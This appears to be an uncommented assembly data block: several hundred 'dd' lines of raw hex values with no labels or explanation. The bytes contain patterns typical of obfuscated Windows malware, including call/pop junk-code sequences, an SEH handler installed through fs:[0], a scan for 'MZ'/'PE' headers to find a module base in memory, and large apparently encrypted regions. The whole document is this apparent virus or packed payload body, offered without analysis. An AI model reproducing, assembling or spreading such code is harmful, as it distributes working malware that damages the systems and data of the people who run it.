dd 1404h, 0C3574700h, 358D8961h, 0FF061F2Ch, 1F016195h
dd 48D0F06h, 66000000h, 8DE53DBBh, 22B1F28Dh, 0FFF98A06h
dd 0F5BD83D1h, 1061F0Eh, 77850Fh, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 1BA6E3C3h
dd 23659D33h, 26A061Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0BAC35545h, 5DD7AC01h, 0D3FF49E3h, 0BDBD3368h
dd 89061F32h, 1F123185h, 6E99006h, 53000000h, 0D3827505h
dd 8B90509Dh, 1F0E2D9Dh, 5595FF06h, 0B061F2Fh, 1F0FC19Dh
dd 0E72E906h, 0E80000h, 5D000000h, 29B3ED81h, 0B5010624h
dd 61F2FF5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Bh, 0A1C35747h, 839791EFh, 8BCF3061h, 1F2DF99Dh, 0FE906h
dd 0EAFF0000h, 0D4E6BDBDh, 0AC4BC82h, 0EF3B6A1Ah, 0E4858D4Bh
dd 8B06228Eh, 1F0D999Dh, 10E85006h, 5A000000h, 8EC80718h
dd 2A894D8Bh, 0D736DD1h, 0E9244548h, 5, 969D48B5h, 4895FABh
dd 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h
dd 0C3524200h, 0AC71B135h, 1D119D8Bh, 0FF64061Fh, 35h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h
dd 0C3514100h, 0EB700C6Ah, 10E86911h, 9B000000h, 0FB683753h
dd 85F74023h, 7FCD8E12h, 8B1486E6h, 1F1A05BDh, 0DD8A5B06h
dd 258964FCh, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0ADC35242h
dd 0F5084E1h, 186h, 0BB5FF500h, 6342179Bh, 102985FFh, 6A061Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 7FCD8EC3h, 0D9D38166h, 6AFF6A1Ah, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 8B0CC351h
dd 65B5FFD8h, 89061F08h, 1F19CD95h, 0ED95FF06h, 0E9061F1Ch
dd 192h, 862DCF81h, 0B05D7Bh, 5770E6F9h, 2C199D8Bh, 0E45F061Fh
dd 14E971h, 0E8F60000h, 18FE8083h, 20C2EB6Bh, 0DB1B960h
dd 0DE9D32Eh, 613C43D6h, 15C830Fh, 0BD8B0000h, 61F00B9h
dd 60C8B60Fh, 5899509h, 8D23061Fh, 61F0D7Dh, 6BA61h, 0AE90000h
dd 94000000h, 56BDED60h, 85BD42ACh, 0BBC18BE0h, 1EC36672h
dd 6004E8C1h, 0C55B58Bh, 0F61061Fh, 681h, 0C59D8B00h, 66061F1Eh
dd 14E8E2F7h, 9C000000h, 844C0DAFh, 0EF014F03h, 94290271h
dd 0B4330D74h, 8B5BB98Ah, 1F05F9BDh, 880F5F06h, 4, 0F7D9BB66h
dd 9D29C82Bh, 61F13B5h, 9D8BD18Bh, 61F3095h, 0D1E9h, 0F9BF0F00h
dd 0FE9h, 0D7B51900h, 0BDA4822Ch, 8C981707h, 65169DC8h
dd 554C858Bh, 0B5894947h, 61F31C1h, 0E807C083h, 11h, 0DC06AC1Ah
dd 89833F7Fh, 8B6269B0h, 0FADC1301h, 0A0F38066h, 0C0835Bh
dd 3BF6EF80h, 43830FD0h, 0E9000000h, 0Eh, 0FBA6C3FFh, 0AF920F1h
dd 9373CB3Dh, 10E947E4h, 5C000000h, 8F744E00h, 89AB2F01h
dd 4FAC5988h, 0E901CD30h, 56h, 0FE960h, 9E580000h, 0E20A1C9Dh
dd 5BD465BDh, 21681DFDh, 8D8B61C6h, 0FFFFFFFFh, 6850Fh
dd 9D330000h, 61F0E75h, 0F01E183h, 2584h, 830FB300h, 0FFFFFFA5h
dd 800FFEFFh, 6, 2599589h, 9589061Fh, 4947554Ch, 3FDF8166h
dd 0E927h, 0B58D0000h, 623AB6Fh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 0EFC35242h, 7CEEE6D7h, 999D8BA8h
dd 6A061F24h, 14E800h, 0F8A40000h, 0EFAB8536h, 551348FBh
dd 171B7534h, 0BE10B64Ch, 8B665B31h, 95FF5FD8h, 61F1D45h
dd 0F7AB9h, 11E900h, 4F6B0000h, 37BE1E79h, 2D0A896Dh, 0B305F9C5h
dd 83A0B182h, 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 9E067C3h, 51F573D5h, 56FC17D4h
dd 11E5BD31h, 0B85F061Fh, 0
dd 0D01EBF66h, 6AD22Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 140424h, 57470000h, 33ADA3C3h, 3E8D1C2h, 4E983D0h, 6AF475h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 8DBDFAC3h, 0E9600813h, 0Bh, 3546DE1Ah, 16506D9Ch, 6A094BF2h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h
dd 45000000h, 42EAC355h, 8B9CB89Bh, 880DFEh, 840F0000h
dd 0
dd 0B5D958Bh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1A0424h, 52420000h, 26ED6BC3h, 274238Fh, 20C58D8Bh
dd 8B50061Fh, 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DDC35545h
dd 63A16D1Fh, 0BB664DFFh, 6A3816h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 40912EC3h, 553A4B95h
dd 83CA37D5h, 1F078DBDh, 840F0006h, 0AAh, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0F8C35141h, 0A29D7C59h
dd 0BBBD305Fh, 0C9BD31D9h, 0B8061F0Ah, 0
dd 11E9h, 322A2000h, 0E7A33AA1h, 6D25F34h, 0E303382Ah
dd 8D8D9597h, 61F4DB0h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 14h, 42C35141h, 6AE1FFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0DE938C3h
dd 8A000000h, 80EEE2F5h, 4ADE3673h, 1C9A1F94h, 6E8h, 0F6A0E600h
dd 11106ABh, 1F0CF19Dh, 0BD835B06h, 61F137Dh, 8840F00h
dd 89000004h, 1F1A4195h, 7DBD8306h, 1061F13h, 410840Fh
dd 85890000h, 61F325Dh, 137DBD83h, 0F03061Fh, 3C786h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 9D8BC671h, 61F3049h, 6A60E3B7h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 34DFC356h
dd 4880FF7h, 56000000h, 665B6160h, 6AD98Ch, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 0B4D0B2C3h
dd 4ECC8551h, 0F88B6648h, 8B04E180h, 1F0E7DBDh, 0FC90A06h
dd 12184h, 0FAB70F00h, 0DC1858Bh, 8B66061Fh, 0C98533F8h
dd 6A061F2Eh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 1CEAC353h, 0D2BBE0E9h, 0E837F2EAh
dd 8, 57D2368Fh, 0F2134FA5h, 326D8D89h, 905B061Fh, 90F98B50h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0DC35040h
dd 919D8B44h, 6A061F0Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 8953697Dh, 1F1D11BDh
dd 68F55B06h, 52367F2Ch, 0A810Fh, 0F600000h, 81h, 61A7B200h
dd 0D3243481h, 8B52297Ch, 0A9CF81D8h, 0FF6C4AAFh, 1F2DE195h
dd 0A8DF8106h, 893CE3A3h, 22B25585h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0A69FB9D6h
dd 0A712945Fh, 85DBD89h, 2E9061Fh, 6A000002h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
dd 0ABE5C350h, 0FC1BD89h, 858B061Fh, 622B24Dh, 0C75B50h
dd 18h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h
dd 0E3C35747h, 0DBC0F5E0h, 0B251B58Bh, 858B0622h, 61F13A1h
dd 6E9F9h, 0EA030000h, 43F608D9h, 6A0689h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0D7486FC3h
dd 484FD4C9h, 0FEBF0F37h, 858B5B51h, 61F0DC1h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 15C35343h, 213421C6h
dd 0BF0F25DAh, 44689FBh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Bh, 4C35040h, 57AC8118h, 5239CA8Fh, 5250965Bh
dd 838B5BBFh, 8B310F37h, 50585ADAh, 0B3525053h, 5A310F46h
dd 6A965F58h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1A042444h, 42000000h, 2994C352h, 5BED1E46h, 0DF816634h
dd 0B5FF19C8h, 622B24Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0AC35343h, 0DA45FE77h, 680D86C1h, 72C9FEFh
dd 7E96057h, 4E000000h, 0CCC97F56h, 0F38B3752h, 34815F61h
dd 339C1024h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 0C48616FCh, 0BD8BA044h, 61F1C45h
dd 0B255858Dh, 6A0622h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 0A481E0C3h, 2BB22E2Ah, 50EB8B9Ch
dd 6E9h, 5F1D4A00h, 89A7CA85h, 830F2404h, 6, 30E59D23h
dd 95FF061Fh, 61F2DE1h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 19h, 82C35646h, 39468A1Bh, 0CCBF61FEh, 0F2DBE16h
dd 480h, 0EABB6600h, 7D85C742h, 3061F13h, 0F000000h, 184h
dd 0BD83F800h, 622B255h, 11840F00h, 29000000h, 1F31D595h
dd 21E906h, 9D290000h, 61F0261h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 3849C350h, 0A127EC58h
dd 0F723295h, 482h, 55BF6600h, 0D850FB9h, 60000000h, 12D58D29h
dd 1FBF061Fh, 617DC653h, 0DDDBD89h, 0BD83061Fh, 61F137Dh
dd 41850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 3332C356h, 1F24D19Dh
dd 1D9D2906h, 83061F03h, 22B255BDh, 840F0006h, 40Ch, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 79C35040h, 755FCDEEh
dd 0E8FCABD4h, 0Ah, 34E5628Bh, 0FD125AC5h, 0BF0FFECEh
dd 0DF8B5BD9h, 0B255B5FFh, 6A0622h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8BF15FC3h
dd 0C995FFF8h, 6A061F1Bh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 9F9AC352h, 8BF3DE51h
dd 1F23B19Dh, 49B58B06h, 6A0622B2h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89F6C352h
dd 1F30B18Dh, 106C706h, 6A000100h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 7BDEC351h
dd 0C81E3BDBh, 0AD6AFC4Fh, 0EE8h, 395E7500h, 0A4905326h
dd 9CD3738Bh, 0F5C9DF93h, 96BF505Fh, 8925A72Ah, 6A2434h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
dd 0BD0B91C3h, 61F0DF5h, 1B519D89h, 13E9061Fh, 0C1000000h
dd 0D7E8DA52h, 0C27A19E9h, 624E4659h, 74D8878Ah, 0B5FF64A1h
dd 622B255h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 2AC35747h, 0F966C6C0h, 384B03A0h, 162195FFh, 880F061Fh
dd 2, 0B58B6160h, 622B249h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 9FC35040h, 0CD5FD54Dh, 0FA3636BFh, 0F1858B47h
dd 6A061F2Fh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 14042444h, 42000000h, 0F21C352h, 0FA8BFEBFh, 0E3E78166h
dd 0C48689F3h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 0E9FEC352h, 0A5365842h
dd 8BFC0438h, 1F0B5D95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 60C59896h, 836117B6h
dd 0FE904C2h, 2B000000h, 36FA0C14h, 0DB8A0E97h, 0FCCCF348h
dd 5089E3F1h, 0F7805020h, 858D5F6Ah, 622C797h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 9C35242h, 0B8868968h
dd 8B000000h, 1F16399Dh, 6A006A06h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FF06C357h
dd 22B255B5h, 0B19D8B06h, 0FF061F0Ch, 1F2F5595h, 999D8B06h
dd 50061F2Dh, 2810F50h, 8B000000h, 34895BFAh, 69858924h
dd 0FF061F1Ah, 22B255B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F2183FCEh
dd 4A50710Dh, 1DBD8BF6h, 0FF061F0Ah, 1F0E1D95h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 89DE6774h, 8BEFF485h, 1F2AB19Dh, 0DE06BB06h, 0BD8378B4h
dd 61F2C0Dh, 50840F00h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60D1C351h
dd 7E9h, 5C613700h, 8241D136h, 10E8h, 0BD981E00h, 67DC8E93h
dd 0CD8A30F6h, 0DA273F43h, 0C99D89ABh, 59061F30h, 34895061h
dd 799D0924h, 0FF061F1Bh, 22B255B5h, 75950106h, 0FF061F12h
dd 1F134995h, 29EF8106h, 0FF2F0A1Fh, 22B255B5h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h
dd 0F5C62168h, 8C937BD6h, 0F98B0375h, 107595FFh, 0F98B061Fh
dd 9BD83h, 0F02061Fh, 2C84h, 6820F00h, 81000000h, 39B7FEF7h
dd 0BD015327h, 61F1D6Dh, 51858B5Bh, 8B061F17h, 1F12019Dh
dd 0C606h, 3F15DF81h, 8B663C18h, 9185C7D8h, 61F12h, 8B000000h
dd 1F1E059Dh, 0DA8B6606h, 0FFF2E0E9h, 319D89FFh, 8B061F14h
dd 0DABF0FC1h, 0D3000BAh, 0EA81F0h, 83F00000h, 958914C2h
dd 61F1CE5h, 8D14EA83h, 2438C685h, 0FF645006h, 35h, 25896400h
dd 0
dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
dd 12h, 3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 61F05CDh, 0F3C4003h
dd 890650B7h, 1F32ED95h, 50508B06h, 2499589h, 0F805061Fh
dd 8B000000h, 0D1030C50h, 2E4D9589h, 5003061Fh, 0B1958908h
dd 64061F09h, 58Fh, 0C4830000h, 13E904h, 8B510000h, 8110244Ch
dd 0B0A9h, 100000h, 0C0335900h, 0F1BD83C3h, 61F20h, 24840Fh
dd 85C60000h, 61F2025h, 0A7D26847h, 0B5FFD49Ah, 61F3271h
dd 7993858Dh, 0D0FF0622h, 0D0FF006Ah, 23ED8589h, 0D38B061Fh
dd 9E8h, 0D5E27200h, 8D94B09Eh, 860FA284h, 27h, 11E8h
dd 0F70EBA00h, 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h, 0BE90E01h
dd 0F1000000h, 0CF781E5h, 0E325256Fh, 5E587111h, 0C681F3B5h
dd 6433h, 68FEB70Fh, 0
dd 8E9h, 81CFB00h, 5B1BF9C3h, 8B665A2Ah, 3234FFCFh, 5BFBB70Fh
dd 81FE8B66h, 0F30BABC3h, 5CB8666Fh, 97F38137h, 6649CDCDh
dd 8183A1BFh, 4B32DC3h, 15890F19h, 0E9000000h, 10h, 5229E8ECh
dd 7C84A7B2h, 411ACB1Eh, 32AEBD35h, 60161C89h, 8159F857h
dd 0D906A4C2h, 8166611Ch, 83AAC0E8h, 0FA8104EAh, 0FFFF9CB0h
dd 19850Fh, 29E90000h, 43000000h, 16719B01h, 0A9B2421h
dd 31CEE6B7h, 0C38FC64Bh, 668CEE36h, 0E9A1E8B9h, 0FFFFFF7Dh
dd 314DC37Ch, 3664DE08h, 3893449h, 3A9A8D8Dh, 8B660624h
dd 5D8D89FAh, 6A061F0Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 15042444h, 40000000h, 0CBDEC350h, 0EF98589h
dd 85C7061Fh, 61F20C5h, 5808h, 1A0D9D89h, 85C7061Fh, 61F137Dh
dd 0
dd 7E8h, 4B25BD00h, 2F8A1AAAh, 4810Fh, 0BE660000h, 0FF5874B3h
dd 1F0F41B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0EFFB6429h, 0F28B528Bh, 5995FF5Eh
dd 8B061F2Dh, 0E18D89DEh, 6A061F1Eh, 4595FF00h, 8B061F1Dh
dd 985AEBC0h, 3CC6669Dh, 0A9E3FD79h, 0CA0F8E84h, 4D1B1BB9h
dd 0DE1A6619h, 6D9C3546h, 4BF21650h, 99CE1E09h, 3F598D53h
dd 3BB619FDh, 9178C72Bh, 6C63606Ah, 64D570B6h, 28CF16A7h
dd 50689648h, 1D67495Bh, 97EE631Ah, 0CBCEE0F6h, 9DE7226Ah
dd 89037E6Bh, 0E812A730h, 0C9F734DFh, 0CF8D8D34h, 5206243Bh
dd 273DB58Bh, 8B5E061Fh, 1F0F3DB5h, 5D8D8906h, 66061F0Bh
dd 85C7C28Bh, 61F20C5h, 5928h, 6E9h, 26155400h, 8913D067h
dd 1F11F58Dh, 7D85C706h, 61F13h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B3B0C351h
dd 11E929DFh, 74000000h, 3D3D9C25h, 6B2F4154h, 18481A60h
dd 0BCAADD85h, 1D15B5FFh, 6A061Fh, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0C4C7F7C3h, 6880Fh, 85290000h
dd 61F09A9h, 2D5995FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 0CF8195C3h, 7D36AB03h
dd 95FF006Ah, 61F1D45h, 3BEBC08Bh, 1042712Fh, 4A351AAh
dd 72845DBEh, 5B0F8512h, 0E079A96Eh, 0FAAB2A2Bh, 0EDCE77Bh
dd 0ABDCF2C1h, 0CFA0D524h, 20640012h, 0E6505DB2h, 87ED7281h
dd 0E91A2335h, 55EF6586h, 8DCC4E28h, 243CB88Dh, 0C820F06h
dd 0F000000h, 68Fh, 5D858900h, 89061F30h, 1F0B5D8Dh, 13E806h
dd 0FB760000h, 1F2A5721h, 27C57BD0h, 0B91FC9E0h, 1253E8E6h
dd 69BD035Ch, 58061F07h, 20C585C7h, 5A3C061Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 0A5A197C3h, 6631A6A9h, 85C7F88Bh, 61F137Dh, 0
dd 8FC2D281h, 0DFBF579Fh, 0FF6B893Fh, 1F0749B5h, 0B58B6006h
dd 61F120Dh, 45BD8B60h, 89061F23h, 1F2685B5h, 0FF616106h
dd 1F2D5995h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 6048F20Eh
dd 0CDE8F011h, 0C3855EA9h, 0E8A877E4h, 8, 405D2238h, 126661E1h
dd 0C8E0Fh, 870F0000h, 6, 8C0Fh, 665E0000h, 6109EB81h
dd 6002C681h, 0B9F80000h, 17D6h, 0FFFEBF0Fh, 8F0F36h, 58000000h
dd 48D0Fh, 0BF660000h, 0C08173FDh, 13315E83h, 299BD0Bh
dd 0E881061Fh, 5335A644h, 1F3D958Bh, 0C081061Fh, 630034B1h
dd 28B0Fh, 0FA8B0000h, 0B1B86050h, 894E6882h, 1F2F7DB5h
dd 68F6106h, 9A99D8Bh, 0EE83061Fh, 12E901h, 5AEC0000h
dd 8BCB15D3h, 4B730348h, 2B484348h, 0BF522412h, 8B4E4E4Eh
dd 1F1CF9BDh, 850F4906h, 0FFFFFF87h, 2E15958Bh, 2ADE061Fh
dd 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh
dd 5AF19826h, 16EF5E26h, 60338706h, 0E4FFB44Eh, 42F867A5h
dd 0BEA08714h, 112A0BA3h, 0BA796720h, 2CCD49A3h, 0C2D71B20h
dd 33338706h, 33831D29h, 0B6C09826h, 3582A5A8h, 0B3D61576h
dd 63AFBC1Bh, 2A050DD9h, 64839E39h, 59359826h, 0A31F1523h
dd 634BBC1Bh, 0E261DABh, 0CC039E02h, 2CAF7DB3h, 3C149320h
dd 336AA1A2h, 0A3B01526h, 639CBC1Bh, 334DAACEh, 0BEF6D826h
dd 176E0EA3h, 0B624C820h, 35F0A5B6h, 92FF6776h, 0B0338726h
dd 0B61794E2h, 3569A5B6h, 0B3231576h, 6355BC1Bh, 2A780DD9h
dd 513D9E39h, 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh
dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh
dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh
dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h
dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h
dd 37A8517Fh, 4D881526h, 0BE9CBC1Bh, 17732BABh, 932020h
dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h
dd 0B3B58DFFh, 8D06243Eh, 243ED28Dh, 83CF2B06h, 0C88B05E9h
dd 0BE8h, 0FC558B00h, 3216F28h, 0E7919FDAh, 2B1850Bh, 0F5B061Fh
dd 0C381C1B7h, 66A1h, 680BDA81h, 0F62B4A94h, 34FF53B0h
dd 5FCAB61Eh, 6840Fh, 8D8B0000h, 61F0B75h, 224FC781h, 0BF0F0509h
dd 40C781D7h, 8B531686h, 63C781D1h, 0E8141D9Ah, 5, 9A109216h
dd 58A0F97h, 66000000h, 2468F181h, 8D8B575Ah, 61F11F5h
dd 2933048Fh, 1F0005BDh, 38A0F06h, 0F000000h, 0EE83D3B7h
dd 0BFC08004h, 99F0FE81h, 850FFFFFh, 0FFFFFF96h, 1C31858Bh
dd 13E8061Fh, 56000000h, 0D18FC45Fh, 0B61B8ED8h, 59507625h
dd 0C495EB64h, 5AFC030Dh, 66BCC281h, 9D8B0000h, 61F0FB9h
dd 68h, 81665200h, 5B0B9AF1h, 4DB58B58h, 0FF061F14h, 95891034h
dd 61F1355h, 0A9F1815Fh, 8161993Ch, 603F02C7h, 5E948h
dd 0D0780000h, 813F6C3Ah, 0F729D6C7h, 81F08B0Dh, 0D8916AC7h
dd 10E966h, 57490000h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh
dd 0F57F147h, 48FF2BFh, 65B58B02h, 0E8061F12h, 6, 531623h
dd 83591CDFh, 7EB704E8h, 9A18F881h, 850FFFFFh, 18h, 12619D8Bh
dd 2CE9061Fh, 29000000h, 0C7E22422h, 0D80CB209h, 7BD13083h
dd 9A74E681h, 70E9671Dh, 71FFFFFFh, 5E6C2BA2h, 665FE892h
dd 6A0BCCB0h, 0C8805DE2h, 47276EB1h, 7B677C2Dh, 0C9347C44h
dd 0BFF72767h, 761020CEh, 3D1038C6h, 9C347C53h, 0BBF72F04h
dd 3A9F1CEh, 12527A58h, 426A8BA6h, 0B1341687h, 72347FAFh
dd 0FA695C47h, 0B858F51Ah, 6A70FD43h, 27346043h, 50613947h
dd 0E9C074D0h, 0BFBD2025h, 9BA9F7D7h, 5F326364h, 1F2C96F8h
dd 5132BDFAh, 2E417C41h, 8C65C1C4h, 0BD347A58h, 6F672C5Eh
dd 7637C487h, 0BCBD7C47h, 9A2B7322h, 0E190E1CAh, 0F4CB7A66h
dd 2EB7241Ch, 0CF2B6316h, 0B4230847h, 7637C414h, 0BCBD7C47h
dd 9A2B7322h, 0E2A7E1CAh, 0F4CB7A66h, 935E241Ch, 0C9379410h
dd 0BB147C47h, 0EBD2384h, 7DB57863h, 9C297863h, 19737C47h
dd 4B8AF984h, 500398C4h, 42EA8319h, 99A1F587h, 1432634Fh
dd 0E0BFA4CBh, 34FCC348h, 75B07343h, 4D347C43h, 90DC2F47h
dd 0E9347C47h, 6D6FBF1Ch, 0F330581Bh, 2C305803h, 0DF347C47h
dd 0F733BF14h, 0D55C1C4h, 9C347A58h, 0C93448C3h, 6FE4F647h
dd 6D2935DAh, 3D309541h, 9C5E7C47h, 4E379412h, 7A147C47h
dd 0FFBD2184h, 8DB57863h, 0E42D7863h, 27717C47h, 70E07F84h
dd 97BB914Dh, 511E19D2h, 34C241h, 935E7E47h, 0C9379415h
dd 0BE147C47h, 26BD2684h, 7DB57863h, 9C2E7863h, 1C767C47h
dd 1F931A84h, 0A8A764D1h, 44CFC348h, 0C6AE64C2h, 8BB9F541h
dd 0C632635Dh, 1DB9F597h, 0CB326356h, 30B07387h, 0F9347C46h
dd 0CADC2E47h, 0C4347C47h, 0FB6EBF1Dh, 0B8305813h, 87305803h
dd 0C347C47h, 0DEA3BF15h, 0F3355A80h, 48547F17h, 6633B5B0h
dd 74BB7337h, 0B0347C47h, 832DE1FAh, 76B51D41h, 0DCB51A10h
dd 9377F948h, 0C95E7C47h, 0E4379417h, 2A147C47h, 7DBD2484h
dd 0D8B57863h, 4E2F7863h, 77747C47h, 61BF3984h, 50DB05E9h
dd 79BD2C45h, 742B6EDAh, 3881F51Dh, 0FA326356h, 4C3004C6h
dd 0FB07345h, 18347C44h, 0D63625CAh, 0DCB51A41h, 0F73B1CDBh
dd 39347CC1h, 74627C2Dh, 4E347C44h, 79F72267h, 971008CEh
dd 0CD1038C6h, 0E4347C50h, 0D4F72A01h, 5F346034h, 0E65EBEC6h
dd 68EFFD21h, 254CFCFCh, 0C0B173AFh, 0A3347C47h, 0E7DC2947h
dd 52347C47h, 0B069BF1Ah, 1D30582Bh, 53305803h, 62347C47h
dd 0BD61BF12h, 0A7BC746Ch, 0AD89E23Fh, 7CB1F9CEh, 0E6B57A58h
dd 0D9E1A67Fh, 484CFD21h, 0A23BD747h, 93347C51h, 0DBA9F1CCh
dd 59BD7A58h, 742B7AC2h, 3936EAAEh, 0FAE4C347h, 4E8A53E3h
dd 0A6727D46h, 8D2AFB9Ch, 0D1B1F167h, 6D325EDDh, 6D1FF9FAh
dd 0AE48341h, 832F39D2h, 41F4F941h, 273625C3h, 0CAD3FC47h
dd 0F45244C6h, 613B7E45h, 72347C5Eh, 0E6919DC6h, 0E4B57549h
dd 11091A41h, 6FB0733Dh, 1A347C45h, 0D606DDFAh, 0DCB51A41h
dd 0F73B1CDBh, 39347C1Ah, 74677C2Dh, 4E347C44h, 7CF72767h
dd 971020CEh, 0CD1038C6h, 0E4347C50h, 9CF72F04h, 0B228BE08h
dd 833E19CAh, 9BA9F741h, 0A7326364h, 9CDC7E3Fh, 0C93454C2h
dd 0FB51A47h, 0F352A5C4h, 0F9347A3Fh, 9C23F948h, 0C5527C47h
dd 0ECB51A9Eh, 77DDCCB7h, 20347C46h, 0E4347C42h, 863D4D9Bh
dd 3834C274h, 9C5E0246h, 4E379410h, 78147C47h, 0EFBD2384h
dd 8DB57863h, 0E4207863h, 25737C47h, 0B4BF3B84h, 9A2B7A52h
dd 0D42CF9CAh, 92BD7A65h, 952B6D1Eh, 0C95EACB8h, 0E4379417h
dd 2A147C47h, 7DBD2484h, 0D8B57863h, 4E237863h, 77747C47h
dd 24459684h, 0C4A155D0h, 61326344h, 15B07387h, 68347C46h
dd 0C5E3F721h, 0EFB1F727h, 9D32635Fh, 0C097BC23h, 210CFC26h
dd 0E44BF948h, 725E7C47h, 39379412h, 0C1147C47h, 22BD2184h
dd 63B57863h, 932C7863h, 9C717C47h, 0FCA9BE84h, 75DD1887h
dd 0DC347C47h, 0E5B5F3B3h, 99B5CD0Fh, 72C933A1h, 0E03104C7h
dd 0C977F948h, 0E45E7C47h, 72379416h, 60147C47h, 0D0BD2584h
dd 0AB57863h, 27287863h, 0C2757C47h, 2BA94084h, 80438C81h
